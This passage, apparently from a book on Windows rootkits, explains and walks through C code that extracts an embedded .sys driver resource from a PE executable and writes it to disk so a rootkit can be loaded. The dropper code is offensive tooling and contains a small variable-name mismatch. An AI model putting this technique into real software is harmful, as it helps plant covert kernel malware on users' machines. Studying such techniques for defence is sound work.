Windows PE executables allow multiple sections to be included in the binary file. Each section can be thought of as a folder. This allows developers to include various objects, such as graphics files, within the executablefile. Any arbitrary binary objects can be included within the PE executable, including additional files. For instance, an executable can contain both a .sys file and a configuration file with startup parameters for the rootkit. A clever attacker might even create a utility that sets configuration options "on the fly" before an exploit is used with the rootkit.
The following code illustrates how to access a named resource within the PE file and subsequently make a copy of the resource as a file on the hard drive. (The word decompress in the code is imprecise, as the embedded file is not actually compressed.)
//---------------------------------------------------------------- // build a .sys file on disk from a resource //---------------------------------------------------------------- bool _util_decompress_sysfile(char *theResourceName) { HRSRC aResourceH; HGLOBAL aResourceHGlobal; unsigned char * aFilePtr; unsigned long aFileSize; HANDLE file_handle;
The subsequent FindResource API call is used to obtain a handle to the embedded file. A resource has a type, in this case BINARY, and a name.
// // locate a named resource in the current binary EXE // aResourceH = FindResource(NULL, theResourceName, "BINARY"); if(!aResourceH) { return false; }
The next step is to call LoadResource. This returns a handle that we use in subsequent calls.
aResourceHGlobal = LoadResource(NULL, aResourceH); if(!aResourceHGlobal) { return false; }
Using the SizeOfResource call, the length of the embedded file is obtained:
aFileSize = SizeofResource(NULL, aResourceH); aFilePtr = (unsigned char *)LockResource(aResourceHGlobal); if(!aFilePtr) { return false; }
The next loop simply copies the embedded file into a file on the hard drive, using the resource's name as the file name. For example, if the resource were named "test," then the resulting file would be called test.sys. In this way, an embedded resource can be made into a driver file.
char _filename[64]; snprintf(_filename, 62, "%s.sys", theResourceName); file_handle = CreateFile(filename, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL); if(INVALID_HANDLE_VALUE == file_handle) { int err = GetLastError(); if( (ERROR_ALREADY_EXISTS == err) || (32 == err)) { // no worries, file exists and may be locked // due to exe return true; } printf("%s decompress error %d\n", _filename, err); return false; } // While loop to write resource to disk while(aFileSize--) { unsigned long numWritten; WriteFile(file_handle, aFilePtr, 1, &numWritten, NULL); aFilePtr++; } CloseHandle(file_handle); return true; }
After a .sys file has been decompressed to disk, it can be loaded using one of the rootkit loading methods we have already outlined. We now discuss some strategies to get your rootkit to load at boot time.